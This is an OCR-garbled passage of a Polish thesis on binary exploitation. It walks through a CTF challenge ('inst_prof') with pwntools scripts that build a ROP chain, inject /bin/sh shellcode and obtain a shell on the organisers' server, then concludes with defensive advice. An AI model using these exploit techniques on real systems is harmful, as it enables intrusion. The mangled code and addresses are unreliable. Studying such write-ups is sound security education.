make_page_executable, w nastepnym kroku skacze na poczatek tej pamieci, co rozpoczyna wy-
konanie shellcode’u.

Niestety nie dato sie zmieni¢ uprawien dostepu do pamieci poprzez skok w srodek funk-
cji make_page_executable, poniewaz brak jest jakichkolwiek gadzetéw, ktére pozwolityby na
ustawienie argumentu uprawnieri/flag wywolania mprotect, ktéry jest przekazywany przez re-
jestr RDX.

Pierwszym krokiem bylo znalezienie miejsca, w ktérym przechowywany jest adres powrotu
z funkcji mem do funkcji do_test — poniewaz to jego nalezy zmienié, aby zacza¢ wykonywaé kolejne
gadzety tanicucha ROP. W tym celu mozna w Pwndbg zobaczyé¢ widok stosu (STACK) lub tez
uzy¢ komendy retaddr, ktéra wyswietla adresy powrotu znajdujace si¢ na stosie. Jak mozna
zobaczy¢ na rysunku 9.9, rejestr RSP wskazuje na pamieé¢ na stosie, gdzie jest przechowywany

adres powrotu funkcji mem.

[ DISASM ]
» 0x7efd2f2bh7000 mov ecx, 0x1000
ox7efd2f2b7005 lea rax, qword ptr [r9 + 0x20]
ox7efd2f2b7009 sub ecx, 1
Ox7efd2f2b700cC jne 0x7efd2f2b7005
I
0x7efd2f2b7005 lea rax, qword ptr [r9 + 0x20]

[ STACK ]
00:0000| rsp 8 Ox55b1b7325b18 (do test+88) «— rdtsc (
01:0008 «— 0x0
02:0010 «— 0xd79cbf2b5bb23a00
03:0018 ) «— OX0
04:0020 8 —» 0x55b1b73258c9 ( start) «— xor ebp, ebp
05:0028| rbp 0 — 0x7ffd15b6ado® —» ©x55b1b7325b60 ( 1libc csu init) «— push ris
06:0030 8 —» 0x55b1b73258c7 (main+103) «— jmp 0x55b1b73258c0
07:0038 OX7 0 —» 0x55b1b7325b60 ( libc csu init) «— push ris
[ BACKTRACE ]
- f o 7efd2f2b7000
f1 55b1b7325b18 do test+88
f2 55b1b73258c7 main+103
f3 7efd2ecfcféa  libc start main+234
pwndbg> retaddr

ox7ffd15 —» Ox55b1b7325b18
) ] 8 — 0x55b1b73258c7
3 — Ox7efd2ecfcfba
8 — 0x55b1b73258f2

do_test+88) «— rdtsc €
main+103) «— jmp 0x55b1b73258¢c0O
libc start main+234) «— mov edi, eax
start+41) «— hlt

6QAdb§> D

Rysunek 9.9. Znajdywanie adresu powrotu z funkcji mem.

Teraz, poniewaz nalezy zaalokowa¢ nowg strone pamieci, potrzeba zdobyé¢ adres funkcji

alloc_page. Jak wida¢ na rysunku 9.10, funkcja ta znajduje sie na adresie 0x910.
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i =]
0O0OOOOOBOOOOIFO

OOOOOOOOOOOEEIFO

DOEOEOEEOEOEOIFL ;| Attributes: bp-based frame
OOOOOOOOOOOEEIFO

DOEOBEEOBEEEOIFO public alloc_page
NEOOOOEOEOOEOSFO alloc_page proc near
OOOOOEEEEOOOOIFO push rbp

DEOEOOEOEOOEOSFL xor rad, rad . offset
DOEOOOEOOOEEOOIF4 mov réd, OFFFFFFFFh ; fd
DEOEOOEOEOOOOIFA mov ecx, 22h . flags
DOEOOOOOBOEEOOIFF mov edx, 3 . prot
NEOEOOEOEOOEOADL mov esi, . len
DOEOOOEEOOOEEOBAOY mov rbp, rsp
NEOEOOEOEOOEEOAOC xor edi, edi . oaddr
DOOOOOEOOOOOBACE pop rbp

00000ONEONOORAOF jmp _mmap

DOOOOOEEOBOEEOBAOF alloc_page endp
OOOOOOOOOOOOOADF

Rysunek 9.10. Kod funkcji alloc_page. Zrzut z programu IDA Pro.

Ze wzgledu na to, ze program zostal skompilowany z flaga PIE, adres 0x9f0 jest jedynie
offsetem (przemieszczeniem) od bazowego adresu sekcji kodu (.text). Aby otrzymaé tak zwany
rebased address — adres w pamieci procesu przemieszczony wzgledem poczatku sekcji kodu na-
lezy zdoby¢ adres dowolnego miejscu w kodzie, a nastepnie zmodyfikowaé¢ go tak, aby wskazy-
wal na alloc_page.

W tym celu mozna przejrzeé¢ zawarto$¢ stosu w funkeji mem wykorzystujac komende stack
z Pwndbg. Prezentuje to rysunek 9.11.

Jak mozna zauwazy¢, rejestr R13 przechowuje adres miejsca na stosie, ktére jest nieco dalej
niz RSP oraz RBP. Rejestr ten, jak zauwazono wczeéniej, nie jest uzywany pomiedzy kolejnymi
wykonaniami funkcji do_test ani mem. Komérki pamieci na ktérg wskazuje rejestr R13 jak i ko-
lejne, réwniez nie sg modyfikowane. Mozna zatem uzy¢ tej pamieci do umieszczenia gadzetow.

Na stosie mozna réwniez zauwazy¢ adres 0x55b1b7325baa3d ktéry, podobnie jak i kolejne ad-
resy, bedziemy zapisywa¢ w skréconej formie w celu uproszczenia opisu — Oxaa3 (bez uwzglednie-
nia przemieszczenia wzgledem adresu bazowego kodu), ktéry znajduje sie bardzo blisko adresu

funkcji al11oc_page — 0x9f0:

03:0018| 0x7ffdlSbbaca8 —-> 0x55blb7325aa3 (read_n+35) <- mov byte ptr [rbx-1], al

Jak widaé, wskaznik na adres 0x55bl1b7325aa3 jest przechowywany pod adre-
sem 0x7ffd15b6aca8-czyli RBP-72 (gdyz RBP ma wartosé¢ 0x7ffd15b6acf0). Mozemy uzy¢ tego
offsetu w celu skopiowania wskaznika i modyfikacji tej kopii tak, aby wskazywalta na alloc_page.
Aby to zrobi¢, nalezy w gléwnej czesci skryptu umiesci¢ kod, ktory zostal przedstawiony na li-
stingu 9.21. Kod wymaga usunigcia wypisywania czasu pomiaru wypisywanego przez program
wewnatrz funkcji send_instr-czyli linii 31-35 z listingu 9.17.

Kod z listingu 9.21 ma pewien problem. Wynik funkcji mmap uzywanej w alloc_page — czyli
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pwndbg> context disasm
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ DISASM ]
» 0x7efd2f2b7000 mov ecx, 0x1000
0x7efd2f2b7005 lea rax, qword ptr [r9 + 0x20]
0x7efd2f2b7009 sub ecx, 1
0x7efd2f2b700cC jne 0x7efd2f2b7005
.
Ox7efd2f2b7005 lea rax, qword ptr [r9 + 0x20]

pwndbg> stack 43 -7

00:0000 Ox7ffd15b6ac90 «— Ox0

01:0008 Ox7ffd15b6ac98 «— 0x2000000000000000

02:0010 Ox7ffdl5b6aca® — 0x7ffdl5b6accOd «— Ox7

03:0018 Ox7ffdl5b6aca8 — Ox55blb7325aa3 (read n+35) «— mov byte ptr [rbx - 1], al
04:0020 Ox7ffd15b6ach® — Ox7efd2f2b7000 «— mov ecx, 0x1000

05:0028 0x7ffd15b6ach8 — 0x7efd2f2bale® — 0x55b1b7325000 (main) «— jg 0x55b1b7325047
06:0030 Ox7ffdl5b6accOd «— 0x7

07:0038| rsp 0Ox7ffdl5b6acc8 —» 0x55b1b7325b18 (do test+88) «— rdtsc

08:0040 Ox7ffd15bb6acdd «— Ox0O

09:0048 Ox7ffd15b6acd8 «— 0xd79cbf2b5bb23a00e

0a:0050 Ox7ffdl5b6aced «— 0Ox0O

0b:0058 Ox7ffdl5b6ace8 — 0x55b1b73258c9 ( start) «— xor ebp, ebp

0c:0060| rbp 0x7ffdl5b6acf® — 0x7ffd15b6ado® —» Ox55b1b7325b66 ( libc csu init) «— push ris
0d:0068 Ox7ffd15b6acf8 — 0x55b1b73258c7 (main+103) «— jmp 0x55b1b73258c0

0e:0070 0x7ffd15b6ado® — 0x55b1b7325b60 (_ libc_csu_init) <— push ris

0f:0078 0x7ffd15b6ado8 —» Ox7efd2ecfcfba (_ libc start main+234) <«— mov edi, eax
10:0080 Ox7ffd15b6adlo «— Ox0O

11:0088 Ox7ffd1l5b6adl8 — 0x7ffdl5b6ade8 — 0x7ffd15b6b8a7 «— './inst prof'

12:0090 Ox7ffd15b6ad20 «— 0x100000000

13:0098 0x7ffd15b6ad28 — 0x55b1b7325860 (main) «— push rbp

14:00a0 Ox7ffd15b6ad30 «— 0x0

15:00a8 Ox7ffd15b6ad38 «— 0x20c553920e20al8c

16:00b0 0x7ffdl5b6ad40 — ©x55b1b73258c9 ( start) «— xor ebp, ebp

17:00b8 Ox7ffdl5b6ad48 — 0Ox7ffdl5b6aded «— Ox1

18:00c0O Ox7ffd15b6ad50 «— Ox0O

..

la:00de Ox7ffd15b6ad60 «— 0x745c169be2cOal8c

1b:00d8 Ox7ffd15b6ad68 «— OXx765c606926a4al8c

1c:00e0 Ox7ffd15b6ad70 «— 0Ox0

el L

1f:00f8 0x7ffd15b6ad88 — 0x7ffd15b6adf8 — 0x77fd15b6b8b3 «— 0x3d54534f485f4244 ('DB_HOST=')
20:0100 0x7ffd15b6ad90 — 0x7efd2f2bale® — Ox55b1b7325000 (main) «— jg 0x55b1b7325047
21:0108 0x7ffd15b6ad98 —» 0x7efd2f0a3626 ( dl init+118) «— cmp ebx, oxff

22:0110 Ox7ffd15b6adad «— Ox0O

..

25:0128 0x7ffd15b6adb8 — 0x55b1b73258c9 ( start) «— xor ebp, ebp

26:0130 0x7ffdl5b6adc® — 0Ox7ffdlSb6aded «— Ox1

27:0138 Ox7ffd15b6adc8 — 0x55b1b73258f2 ( start+41l) «— hlt

28:0140 Ox7ffd15b6addd — 0Ox7ffdl5b6add8 «— 0x1c

29:0148 Ox7ffd15b6add8 «— 0x1c

2a:0150| r13 ox7ffdl5b6aded «— Ox1

pwndbg> []

Rysunek 9.11. Zawarto$¢ stosu gdy program jest w funkcji mem.

adres zaalokowanego obszaru pamieci — jest zwracany w rejestrze RAX. W programie nie ma
natomiast gadzetéw, ktére moglyby zostaé uzyte w celu skopiowania jego wartosci do innego

rejestru.

9.2.10. Zaleznos¢ pomiedzy adresami zwréconymi przez mmap

W takiej sytuacji warto przeanalizowaé wszystkie okolicznosci. Mozna na przyktad sprawdzié¢
czy istnieje relacja pomiedzy adresem strony pamigci mem oraz adresem nowo zaalokowanej przez
funkcje mmap. Jedli tak, to mozna wyliczyé¢ adres, ktory zostanie zwrocony przez mmap na pod-

stawie adresu mem, ktéry jest zaréwno na stosie jak i w rejestrach RBX oraz RDI (co widaé
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Listing 9.21. Czes¢ eksploitu dzieki ktorej program skoczy do alloc_page.

1  instructions = [

2 # R14 = RBP-72 = Oxaa3 - Zaladowanie wskazZnika na Oxaa3 do R1l4

3 'lea rl4, [rbp-72]",

4 # Kopiuje wartos$é¢ pod wskaznikiem (0Oxaa3) do R15

5 'mov rl5, [rl4]"',

6 'mov rl4, rl5', # R15 = R14 = 0Oxaa3

7 'lea rl15, [rl4-116]', # R15 = R14-116; R15 = Oxaal3 - 116 = Oxazf
8 'mov rl4, rl5', # R14 = R15; R14 = Oxaz2f

9 'lea rl1l5, [rl1l4-63]', # R15 = R14-63, RI15 = Oxa2f - 63 = 0x9f0
10 'mov [rl1l3], rl5"', # Skopiowanie 0x9f0 (adres alloc_page) na stos
11

12 # Ponizsza linia jest dla testowania powyzszego kodu,

13 # Zmienia ona wskaznik stosu, przez co wychodzac z funkcji mem
14 # procesor rozpocznie wykonywanie tancucha ROP

15 'mov rsp, rl3'

16 ]

17

18 # Wysyla kolejne instrukcije
19 for instr in instructions:

20 send_instr (instr)

22 p.interactive()

na rysunku 9.8).

Jak sie okazuje — relacja taka istnieje lecz r6zni si¢ pomiedzy réznymi wersjami jadra systemu
operacyjnego. Zbadano to programem zaprezentowanym na listingu 9.22. Wyniki dzialania dla
systeméw MAC OS X oraz Linux zostaly zaprezentowane w tabeli 9.2. Wyniki sg takie same
zaréwno z PIE jak i bez PIE.

Jak mozna zauwazy¢, relacja miedzy adresami zwrdéconymi przez kolejne wywotania mmmap
z zadanymi parametrami moze wynosi¢ -0x2000, 0x2000, -0x1000 lub 0x1000 (dla systemu
MAC OS X). Mozna zatem sprébowaé wykonaé przesuniecia o te wartodci adresu znanej juz
strony pamieci. Jak si¢ okazalo, na serwerze zadzialalo przesuniecie -0x1000 — takie samo jak
w jadrze Linux w wersji 4.4 oraz wyzszej.

Wracajac do programu inst_ prof — jak zostalo wspomniane wczesniej, adres do pierwszego
zaalokowanego obszaru przez mmap — mem — jest dostepny na stosie:

Wystarczy zatem zmodyfikowac skrypt tak, aby obliczat adres drugiej strony pamieci, umiesz-
czal go w rejestrze R15 — gdyz ten nie jest uzywany przez program — i wracal do funkcji main
(dzigki czemu nadal bedzie mozna podawaé¢ do programu instrukcje, ktére zostana wykonane).
Prezentuje to listing B.2, ktéry zostal umieszczony w dodatku.

Nastepnym krokiem jest wpisanie do pamieci RW shellcode’u, ktéry mozna wygenerowad
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Listing 9.22. Kod w jezyku C ktory zostal wykorzystany w celu sprawdzenia odleglo$ci miedzy dwoma

adresami zwréconymi przez funkcje mmap.

1 #include <stdio.h>

2 #include <sys/mman.h> // Zawiera funkcje mmap

4 wvoidx alloc() {

5 return mmap (NULL, 4096, PROT_READ|PROT_WRITE,
6 MAP_PRIVATE |MAP_ANONYMOUS, -1, 0);
7}

9 int main() {

10 void+ bufl = alloc();

11 printf ("bufl = %p\n", bufl);

12

13 voidx buf2 = alloc();

14 printf ("buf2 = %p\n", buf2);

15

16 if (buf2 > bufl)

17 printf ("buf2 - bufl = 0x%x\n", buf2-bufl);
18 else

19 printf ("buf2 - bufl = -0x%x\n", bufl-buf2);

20 }

04:0020] Ox7ffdl5bbacb0 —-> 0x7efd2f2b7000 <- mov ecx, 0x1000

poprzez biblioteke pwntools, co pokazuje listing 9.23.

W samym eksploicie mozna umiesci¢ shellcode w pamieci wstawiajac go bajt po bajcie.
Zaprezentowano to na listingu 9.24.

Kolejnym krokiem, ktéry nalezy wykonaé¢ to nadanie uprawnien do wykonywania pamieci,
w ktoérej jest shellcode, zeby program méglt go pézniej wykonaé. Aby tego dokonaé mozna sko-
rzystaé¢ z funkcji make_page_execuable, ktora poprzez wywolanie systemowe mprotect zmienia
uprawnienia pamieci na do odczytu oraz wykonwalna. Funkcja ta zostala zaprezentowana na ry-
sunku 9.12.

Funkcja mprotect przyjmuje trzy argumenty:

e void #addr — adres pamieci — przekazywany w rejestrze RDI,

e size t len — rozmiar pamieci — przekazywany w rejestrze RDX,

e int prot — flagi uprawnien — przekazywane w rejestrze RSI.

Jak mozna zauwazy¢ na rysunku 9.12, funkcja make_page_executable uzupelnia rejestry
RDX oraz RSI odpowiednimi warto$ciami. Nalezy zatem ustawi¢ odpowiednio rejestr RDI, tak,
aby funkcja zmienila uprawnienia do pamieci, w ktorej znajduje sie shellcode. W tym celu

potrzebny bedzie gadzet, ktoéry pozwoli ustawi¢ odpowiednio rejestr RDI. Jak mozna bylo zo-
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Tabela 9.2. Wyniki programu z listingu 9.22 dla réznych maszyn oraz wersji jadra systemu operacyjnego
dla Linux oraz MAC OS X (Darwin). Wyniki sa powtarzalne w kolejnych uruchomieniach programu oraz

z i bez flag kompilacji —-fpie -pie.

Wynik polecenia uname -a Réznica buf2-bufl
Linux loginO1.pro.cyfronet.pl 3.10.0-514.21.2.el7.x86_ 64 #1 SMP Tue 0x2000
Jun 20 12:24:47 UTC 2017 x86__ 64 x86_ 64 x86_ 64 GNU/Linux

Linux p2284 3.10.0-514.21.2.el7.x86_ 64 #1 SMP Tue Jun 20 12:24:47 0x2000
UTC 2017 x86_ 64 x86_ 64 x86_ 64 GNU/Linux

Linux alx 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2+deb8ul (2017-06- -0x2000
18) x86_ 64 GNU/Linux

Linux ubuntu 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 -0x1000
UTC 2017 x86_ 64 x86_ 64 x86_ 64 GNU/Linux

Linux amxx 4.9.0-2-amd64 #1 SMP Debian 4.9.13-1 (2017-02-27) -0x1000
x86_ 64 GNU/Linux

Linux alarmpi 4.9.33-1-ARCH #1 SMP Sun Jun 18 02:19:37 UTC 2017 -0x1000
armv7l GNU/Linux

Linux arch 4.11.7-1-ARCH #1 SMP PREEMPT Sat Jun 24 09:07:09 -0x1000
CEST 2017 x86_ 64 GNU/Linux

Darwin GwynBleidD.local 16.6.0 Darwin Kernel Version 16.6.0: Fri 0x1000

Apr 14 16:21:16 PDT 2017; root:xnu-3789.60.24 6/ RELEASE_ X86_ 64

x86_ 64

Darwin NeckBook-Pro.local 16.6.0 Darwin Kernel Version 16.6.0: Fri 0x1000
Apr 14 16:21:16 PDT 2017; root:xnu-3789.60.24 6/RELEASE_ X86_ 64

x86_ 64

baczy¢ na listingu 9.20, gadzet taki istnieje — 0x00000000004008a3: pop rdi; ret; —
i znajduje sie na adresie Oxbc3. Wymaga on umieszczenia na stosie adresu pamieci, w ktérej jest

shellcode (ktéry jest w rejestrze R15).

Na listingu 9.25 zaprezentowano ostatnia czes$¢ eksploitu, ktéra tworzy tanicuch ROP dla dru-
giego wywolania funkcji main (po tym, jak wstawiono do nowo zaalokowanej pamieci shellcode).
Program finalnie zmienia uprawnienia do pamieci w ktorej jest shellcode na do wykonywania,

a nastepnie skacze do niej.

Na listingu 9.26 zaprezentowano wynik dzialania pelnego eksploitu lokalnie. Urucha-
miajac go w trybie zdalnym — python hack.py REMOTE — mozna bylo uzyska¢ flage —
CTF{Ov3r_4ND_Ov3r_4ND_O0v3r_4ND_0Ov3r} — z serwera organizatoréw, co pokazuje li-
sting 9.27.

Pelny skrypt eksploita wraz z komentarzami pozwalajacymi na latwiejsze jego zrozumienie
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Listing 9.23. Shellcode uruchamiajacy powloke /bin/sh. Wklejka z interaktywnej powtoki IPython.

10

11

12

13

14

15

16

17

18

19

20

21

22

23

In [1]: print pwn.shellcraft.amd64.sh{()

/x execve (path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */

push 0x68

mov rax, 0x732f2f2f6e69622f

push rax

mov rdi, rsp

/* push argument array ['sh\x00'] */

/* push 'sh\x00' */

push 0x1010101 ~ 0x6873

xor dword ptr [rspl,

xor esi, esi /x 0 x/

0x1010101

push rsi /* null terminate =/

push 8

pop rsi

add rsi, rsp

push rsi /* 'sh\x00'
mov rsi, rsp

xor edx, edx /% 0 */

/* call execve () «*/

*/

push SYS_execve /x 0x3b */

pop rax

syscall

Rysunek 9.12. Kod funkcji make_page_executable. Zrzut z programu IDA Pro.

s

Attributes: bp-based frame

public make_page_executable
make_page_executable proc near
push rbp

movy edx, 5 . prot
movy esi, 1oooh . len
mov rbp, rsp

pop rbp

jmp _mprotect

make_page_executable endp

zostal umieszczony w dodatku na listingu B.3.
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10

11

12

13

14

15

16

17

18

19

Listing 9.24. Kontynuacja eksploitu z listingu B.2 — umieszczenie shellcode’u w pamieci.

# Odbieramy od programu tekst powitalny z drugiego wywolania main
msg = p.recvuntil ('initializing prof...ready\n')

info ('Receiving second HELLO: %s' % msg)

# Generujemy shellcode
payload = shellcraft.amd64.sh{()

shellcode_bytes = map(ord, asm(payload, os='linux', arch='amde64'))

# Tworzymy kopie adresu nowo zaalokowanej pamieci,
# gdyz przyda sie on w kolejnych krokach

send_instr ('mov rl4, rl5")

# Wysyltamy kolejne bajty shellcode'u i zapisujemy je
# do kolejnych komdérek pamieci nowo zaalokowanej pamieci
for byte in shellcode_bytes:

# Wstawiamy bajt do komdérki pamieci

send_instr ('mov BYTE PTR [rl5], %d' % byte)

# Inkrementujemy wskaznik na kolejna komdrke pamieci

send_instr ('inc rl5")
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Listing 9.25. Modyfikacja eksploitu dzieki ktorej program obliczy adres alokowanej strony, skoczy do

alloc_page, a nastepnie na poczatek funkcji main.

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

# Rejestr R13 wskazuje na stos.

# Ponizej umieszczamy kolejne gadzety tancucha na stos:

# [rl3 +8] - adres gadzetu ‘pop rdi; pop’

# [rl3+16] - adres pamieci z shellcode - zostanie on umieszczony w RDI
# [r13+24] - adres funkc]ji make_page_executable

# [rl3+32] - adres pamieci z shellcode - aby program do niego skoczyi

# We wczesniejszej czescé skryptu kopiuje adres pamieci z shellcode do R14
# Teraz zapisujemy go na stos
send_instr ('mov [r13+16], rl4d'")

send_instr ('mov [r13+32], rl4d'")

# Umieszczanie adresu gadzetu “pop rdi; pop na stos — do [R13+8]

# Mozna do tego skorzystaé¢ z adresu 0xbl8 znajdujacego sie na stosie:
#

# rsp 0x7££d907dbld0 -> 0x55cb935cfbl8 (do_test+88) <- rdtsc

#

send_instr ('mov rl4, [rspl') # R14 = &do_test+88 = 0xbl8

# 0xbc3-0xbl8 = 171 - nalezy zwiekszy¢ R14 o 171

send_instr ('lea rl1l5, [rl4+127]") # R15 = 0xbl8 + 127 = 0xb97

send_instr ('mov rl4, rl15") # R14 = R15 = 0xb97

send_instr('lea rl5, [rl4+44]1") # R15 = 0xb97 + 44 = Oxbc3 (adres gadzetu)
#

send_instr ('mov [r13+8], rl5") zapis adresu gadzetu na stosie

Umieszczanie adresu make_page_executable (0xa20) na stos - do [R13+24]

Mozna do tego skorzystac¢ z adresu Oxaa3 znajdujacego sie na stosie:

0£:0078] rbp O0x7f£f££739373a8

#
#
#
# 06:0030| 0x7fff73937360 —-> 0x55573d395aa3 (read_n+35) <- mov byte ptr [rbx-1],
#
#
#

Ktéry znajduje sie 72 bajty przed RBP.

send_instr('mov rl4, [rbp-72]") # R14 = [RBP-72] = aa3

send_instr ('lea rl1l5, [r14-127]") # R15 = 0Oxaal3 - 127 = 0xa24

send_instr ('mov rl4, rl15") # R14 = R15 = 0Oxa24

send_instr ('lea rl1l5, [rl4-41") # R15 = 0xa24 - 4 = 0xa20

send_instr ('mov [rl13+24], rl5") # zapis adresu make_page_executable na stosie

# Uruchamia taricuch ROP

send_instr('lea rsp, [rl3+8]")

p.interactive ()
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Listing 9.26. Uruchomienie eksploitu lokalnie.

$ python hack.py

[+] Starting local process './inst_prof': pid 27006
[*] Receiving HELLO: initializing prof...ready

[*] Receiving second HELLO: initializing prof...ready
[*] Switching to interactive mode

$ echo "Yay, we got shell locally!"

Yay, we got shell locally!

[x] Stopped process './inst_prof' (pid 27006)

Listing 9.27. Zdobycie flagi na serwerze organizatorow.

$ python hack.py REMOTE

[+] Opening connection to inst-prof.ctfcompetition.com on port 1337: Done
[*] Receiving HELLO: initializing prof...ready

[*] Receiving second HELLO: initializing prof...ready

[*] Switching to interactive mode

$ 1s

flag.txt

inst_prof

$ cat flag.txt

CTF{0v3r_4ND_Ov3r_4ND_Ov3r_4ND_Ov3r}

[*] Closed connection to inst-prof.ctfcompetition.com port 1337
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10. Podsumowanie

Celem niniejszej pracy bylo przedstawienie tematu inzynierii wstecznej, znajdowania btedow
oraz wykorzystywania ich na architekturach x86 oraz x86-64. Ze wzgledu na to, ze temat ten
jest obszerny oraz to, ze duzo tatwiej mozna sie w niego wdrozy¢é w ramach projektéw Open
Source, w pracy skupiono sie gtownie na systemie Linux.

W pracy przedstawiono podstawowe pojecia zwiazane z niskopoziomowa inzynieria wsteczna,
takie jak instrukcje asemblerowe, narzedzia stosowane do niskopoziomowej analizy programéw
czy wybrane mechanizmy ELFéw. Aby méc méwié¢ o réznych bledach oraz ich wykorzystaniu
skupiono si¢ na zabezpieczeniach programéw w systemie Linux. Czytelnik ma mozliwosé za-
pozna¢ si¢ z wybranymi, potencjalnie niebezpiecznymi btedami. Przedstawione zostaty procesy
instrumentacji kodu oraz fuzzingu. Aby praca nie byla tylko teoretyczna, ale tez praktyczna,
wyroznione zostaly techniki wykorzystywania btedow oraz analiza zadan z konkursow CTF.

Przyktady przedstawione w pracy skupiaja sie¢ w duzej mierze wokoto programéw napisanych
w jezykach C czy C++. Oczywiscie opisane zagadnienia dotyczg réwniez innych niskopoziomo-
wych jezykéw programowania.

Podczas tworzenia oprogramowania nie sposéb jest wyeliminowaé wszystkich potencjalnych
btedéw. Mimo to, skutkéw wielu z nich da sie uniknaé poprzez stosowanie dostepnych narze-
dzi — od najnowszych wersji kompilatoréw, sanitizeréow, statycznych analizatoréw czy linteréw
kodu. Jezeli nie zmniejsza to wydajnosci lub funkcjonalnosci samej aplikacji, nalezy stosowac
opisane w pracy flagi kompilatora utrudniajace wykorzystanie danych btedéw. Warto tez testo-
waé oprogramowanie — zaréwno poprzez testy jednostkowe, funkcjonalne czy integracyjne, jak
i wykorzystujac fuzzing. Nie nalezy zapominaé o czynniku ludzkim, stad tez dobrze jest zwiek-
sza¢ $wiadomosé programistow co do putapek czy bledéw, na ktére powinni uwazaé. W tym
celu mozna stosowaé metody takie jak przeglad kodu lub programowanie w parach (ang. pair
programming).

Zaltozony cel pracy zostal osiagniety. Wzigto pod uwage kwestie teoretyczne dotyczace te-
matyki pracy, opisano szereg potencjalnie niebezpiecznych bledéw, metody ich wykorzystania
oraz zapobiegania im. Sposrdd rzeczy przedstawionych w pracy w szczegdlnodci nalezy uwazac
na wszelkie bledy pozwalajace na wyciekniecie pamieci procesu (a przez to ujawnienie wrazli-
wych danych) lub zdalne wykonanie kodu (jak na przyklad przepelnienie bufora). Skutki takich
bledéw moga by¢ katastrofalne — dla przyktadu w maju 2017 roku mial miejsce atak WannaCry,
ktéry zainfekowal ponad 200 tysiecy komputeréw w 150 krajach [54]. Wykorzystane oprogramo-

wanie szyfrowalo dysk ofiary, a nastepnie wymagalo zaptacenia okupu w kryptowalucie bitcoin



za jego odszyfrowanie. Sam program byl dystrybuowany poprzez eksploit o nazwie EternalBlue
wykorzystujacy btad w implementacji protokoltu SMB na systemie Windows [55].

Warto réwniez zainteresowa¢ si¢ mniej popularnymi jezykami programowania, ktore zacho-
wujac kompilacje do kodu natywnego nie posiadaja wielu putapek czy btedéw znanych z je-
zykéw C oraz C+4. Dobrym przykladem takiego jezyka programowania jest Rust. Zostal on
stworzony przez Mozilla Research i jest reklamowany jako bezpieczny oraz praktyczny jezyk do
tworzenia systemow operacyjnych. Wspiera on zaréwno imperatywno-proceduralny jak i funk-
cyjny paradygmat programowania. Jego projektanci zamierzaja zapewnié¢ wieksze bezpieczen-
stwo skompilowanych programéw wraz z wysoka wydajnoscia. Zostal uznany ,najbardziej ko-
chanym jezykiem programowania” (z ang. most loved programming language) w 2016 oraz 2017
roku, w ankietach zorganizowanych przez serwis Stack Overflow. Kto wie? Moze jezyk ten bedzie

w przyszlosci czesciej uzywany niz C czy C++ [56, 57, 58].
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skowa ASAN_SYMBOLIZER_PATH oraz wlaczono flage - fno-omit-frame-pointer. Do-
dano réwniez opcje Sledzenia pochodzenie danego btedu — przez dodanie flagi
-fsanitize-memory-track-origins=2. Jak mozna zauwaZyé, sanitizer poprawnie
wskazal btad znajdujacy sie¢ w programie jak i pochodzenie niezainicjalizowanych

danych —sterte. . . . . . . ..

Przykladowy program zawierajacy bledy. Ze wzgledu na wykorzystanie formatu
"%s" dla funkcji scanf liczba pobranych znakéw do bufora nie jest limitowana,
co pozwala na przepetnienie stosu. Umozliwia to miedzy innymi nadpisanie wskaz-
nika hello w strukturze p. Innym wystepujacym bledem jest przekazanie bufora

przekazanego od uzytkownika jako tancuch formatujacy dla funkcji printf.

Program prezentujacy przepetnienie bufora. . . . . . . .. ... ... ... ...
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8.2

8.3

8.4

8.5

8.6

8.7

8.8

8.9

8.10

8.11

8.12

Program przedstawiajacy przepelnienie bufora na stosie. Funkcja win nie jest
wykonywana przez program. Wykorzystujac btad mozna sprawié, aby zostata ona

wykonana. . . . ... ... e e e e e
Zdeasemblowany kod programu z listingu 8.2 przez program IDA Pro. . . . . ..
Program, w ktérym mozna spowodowaé¢ przepelnienie bufora na stercie. . . . . .

Shellcode wygenerowany poprzez funkcje pwn.shellcraft.i386.1inux.sh() z bi-
blioteki pwntools do jezyka Python. Autorzy pwntools staraja sie, aby w miare
mozliwosci shellcode-y nie zawieraly niektérych wartosci bajtéw — na przyktad

bajtu zerowego. . . . . .. L e

Interaktywna sesja IPython przedstawiajaca kompilacje oraz zamiang shellcode

tak, by méc go wykorzystaé w jezyku C. . . . . . ..o
Program wykonujacy shellcode z listingu 8.5. . . . ... ... ... ... . ....
Kompilacja oraz uruchomienie programu z listingu 8.7. . . . . . . .. .. .. ...

Program w ktérym tancuch formatujacy pochodzi z niezaufanego Zrédta — od

uzytkownika. Zostal on skompilowany poleceniem gcc main.c. Stowo kluczowe

112

volatile zostalo uzyte, aby kompilator nie wyoptymalizowal lub usunat zmiennych.114

Wypisywanie kolejnych wartosci ze stosu w programu z listingu 8.9 poprzez prze-

kazanie odpowiedniego tancucha formatujacego. . . . . . . . . . ... ...

Kopiowanie rejestrow przez funkcje printf na stos (oznaczone na czerwono).
Wklejka pochodzi z debugowania programu z listingu 8.9 przy uzyciu GDB wraz
z dodatkiem Pwndbg. Debugger znajduje si¢ zaraz po wejsciu do procedury lin-

kujacej — printfQRplt. . . . . . . e

Wykorzystanie rozszerzenia do specyfikatoréw formatu, ktére pozwala na wypi-
sanie elementu o danym numerze na stosie. W przyktadzie nieprzypadkowo wypi-
sano element dziesiaty ze stosu — jak mozna wnioskowaé, wypisywany jest pocza-
tek bufora, do ktorego wpisywane jest wejécie do programu. Na zielono oznaczono
ciagg wpisywany na standardowe wejscie, a na czerwono to, co wypisata funkcja

. o

Skrypt prezentujacy odczytywanie oraz pisanie pod dany adres przy uzyciu tan-
cuchu formatujacego. Skrypt zostal napisany w jezyku Python 2.7. Wykorzystuje

on modul pwntools. . . . . . . ...
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8.14 Wykorzystanie skryptu z listingu 8.13. Na czerwono zaznaczono wypisany tancuch
znakéw spod komérek pamieci, w ktérych znajduje sie zmienna secret. Jako, ze
nie jest ona taricuchem znakéw, to ciag ,,GOOD? nie jest zakonczony bajtem zero-
wym, a wiec program wypisuje kolejne bajty tak dtugo, az natrafi na taki bajt. Na
zielono umieszczono dodatkowe komentarze. Niedrukowalne znaki, ktére w kon-

soli wyswietlone zostaly jako pytajniki w kwadracie zostaly zastapione znakiem

8.15 Interaktywna sesja konsoli IPythona przedstawiajaca deasemblacje bajtéow do
kodu asemblera x86-64 z wykorzystaniem Capstone — wieloplatformowej biblioteki
napisanej w jezyku C pozwalajacej deasemblowaé¢ asemblery réznych architek-
